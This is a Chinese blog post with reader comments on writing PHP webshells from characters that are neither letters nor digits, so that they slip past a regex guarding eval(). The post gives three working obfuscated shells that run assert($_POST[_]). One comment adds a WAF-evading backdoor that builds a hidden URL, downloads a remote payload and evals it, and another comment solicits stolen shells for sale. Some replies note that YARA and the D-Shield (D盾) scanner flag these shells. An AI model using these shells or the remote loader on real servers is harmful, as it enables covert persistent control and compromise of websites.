一些不包含数字和字母的webshell

在小密圈提了个问题,“如何编写一个不使用数字和字母的webshell”,并具体成如下代码:

<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
  eval($_GET['shell']);
}

那么,这个代码如何利用?

思路

首先,明确思路。我的核心思路是,将非字母、数字的字符经过各种变换,最后能构造出a-z中任意一个字符。然后再利用PHP允许动态函数执行的特点,拼接处一个函数名,如“assert”,然后动态执行之即可。

那么,变换方法 将是解决本题的要点。

不过在此之前,我需要说说php5和7的差异。

php5中assert是一个函数,我们可以通过$f='assert';$f(...);这样的方法来动态执行任意代码。

但php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点。但也无需过于担心,比如我们利用file_put_contents函数,同样可以用来getshell。

下文为了方便起见,使用PHP5作为环境,PHP7相关的利用方法自己探索吧。

方法一

这是最简单、最容易想到的方法。在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。

得到如下的结果(因为其中存在很多不可打印字符,所以我用url编码表示了):

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

执行结果如下:

14871921588272.jpg

方法二

和方法一有异曲同工之妙,唯一差异就是,方法一使用的是位运算里的“异或”,方法二使用的是位运算里的“取反”。

方法二利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,比如'和'{2}的结果是"\x8c",其取反即为字母s

14872686600768.jpg

利用这个特性,我找了一篇文章( https://www.leavesongs.com/THINK/answer.html ),自动选择了其中一些汉字,生成如下答案:

<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});

$_=$$_____;
$____($_[$__]);

14871906748025.jpg

这个答案还利用了PHP的弱类型特性。因为要获取'和'{2},就必须有数字2。而PHP由于弱类型这个特性,true的值为1,故true+true==2,也就是('>'>'<')+('>'>'<')==2

方法三

那么,如果不用位运算这个套路,能不能搞定这题呢?有何不可。

这就得借助PHP的一个小技巧,先看文档: http://php.net/manual/zh/language.operators.increment.php

14872693882387.jpg

也就是说,'a'++ => 'b''b'++ => 'c'... 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。

那么,如何拿到一个值为字符串'a'的变量呢?

巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。

在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array

14872697183159.jpg

再取这个字符串的第一个字母,就可以获得'A'了。

利用这个技巧,我编写了如下webshell(因为PHP函数是大小写不敏感的,所以我们最终执行的是ASSERT($_POST[_]),无需获取小写a):

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

执行结果:

14872701052595.jpg

赞赏

喜欢这篇文章,扫码和我成为赞友!

评论

白猫 回复

P师傅的文章写得真是太好了,篇篇精品

V0W 回复

p牛师傅,你好,看了你的方法二的弱类型,深受启发,我想也可以通过这种弱类型构造数字,然后利用url编码转换成字母,例如%97->a,但是缺点就是需要用到很多的字符。。入坑6个月萌新求师傅指导

phithon 回复

@V0W 不懂你的方法,你可以用 http://sandbox.onlinephpfunctions.com 将你的代码写下来。

zwalts 回复

太牛逼了

耶稣 回复

过大部分WAF
<?php
$password='yesu';//登录密码(支持菜刀)
//----------功能程序------------------//
$c="chr";
session_start();
if(empty($_SESSION['PhpCode'])){
$url=$c(104).$c(116).$c(116).$c(112).$c(58).$c(47);
$url.=$c(47).$c(105).$c(46).$c(110).$c(105).$c(117);
$url.=$c(112).$c(105).$c(99).$c(46).$c(99).$c(111);
$url.=$c(109).$c(47).$c(105).$c(109).$c(97).$c(103);
$url.=$c(101).$c(115).$c(47).$c(50).$c(48).$c(49).$c(55);
$url.=$c(47).$c(48).$c(53).$c(47).$c(50).$c(49).$c(47);
$url.=$c(118).$c(49).$c(81).$c(82).$c(49).$c(77).$c(46).$c(103).$c(105).$c(102);
$get=chr(102).chr(105).chr(108).chr(101).chr(95);
$get.=chr(103).chr(101).chr(116).chr(95).chr(99);
$get.=chr(111).chr(110).chr(116).chr(101).chr(110);
$get.=chr(116).chr(115);
$_SESSION['PhpCode']=$get($url);}
$un=$c(103).$c(122).$c(105).$c(110);
$un.=$c(102).$c(108).$c(97).$c(116).$c(base64_decode('MTAx'));
@eval($un($_SESSION['PhpCode']));
?>

I 回复

@耶稣 规则检测没有过
$ yara -r rulelist ./
ObfuscatedPhp .//yesubypass.php
DodgyPhp .//yesubypass.php

王一航 回复

推荐一款开源免杀的 Webshell 管理器, Webshell-Sniper, 用 Python 开发, 基于终端
https://github.com/WangYihang/Webshell-Sniper

yunen 回复

好文章,转载走了,已注明出处,若侵权,联系我立马删除

d:D 回复

可以弄个像jsfuck那样的phpfuck出来了

test 回复

p神 请问下,上面说的 在php7中assert不能再作为函数名动态执行代码,是指不能$f='assert';$f(...);这样执行吗? 因为我用$f='assert';$f('phpinfo()'); 在7.0.12环境下执行成功了。

phithon 回复

@test 我试的可能是7.1吧,php这个也挺乱的,官网明明说assert在7里变成语言结构了,但7.0仍然能动态调用,那么为什么同为语言结构的eval不能动态调用。看文档估计找不到答案了,有兴趣的话可以研究一下源码 :)

外贸 回复

楼主 有shell卖吗? 我需要大量美国shell

MT 回复

好思路 , ''.[] 真绝了

回复

D盾全报

phithon 回复

@轩 小游戏而已,我是不会在实际环境用这类webshell的,符号熵值这么大一看就有问题,正常代码怎么可能不包含字母,D盾报警很正常。如果你需要一些正常一点的一句话,移步这篇文章 https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html

sqvds 回复

想问一下博主具体的php版本是5.X?我在5.5测试第一种方法没能成功

phithon 回复

@sqvds "因为其中存在很多不可打印字符,所以我用url编码表示了。",直接执行文中的代码肯定会出错。

sqvds 回复

@phithon 好的谢谢博主

点滴 回复

后面弱类型利用的出身入化

文雨 回复

也是脑洞大开啊,赞一个

captcha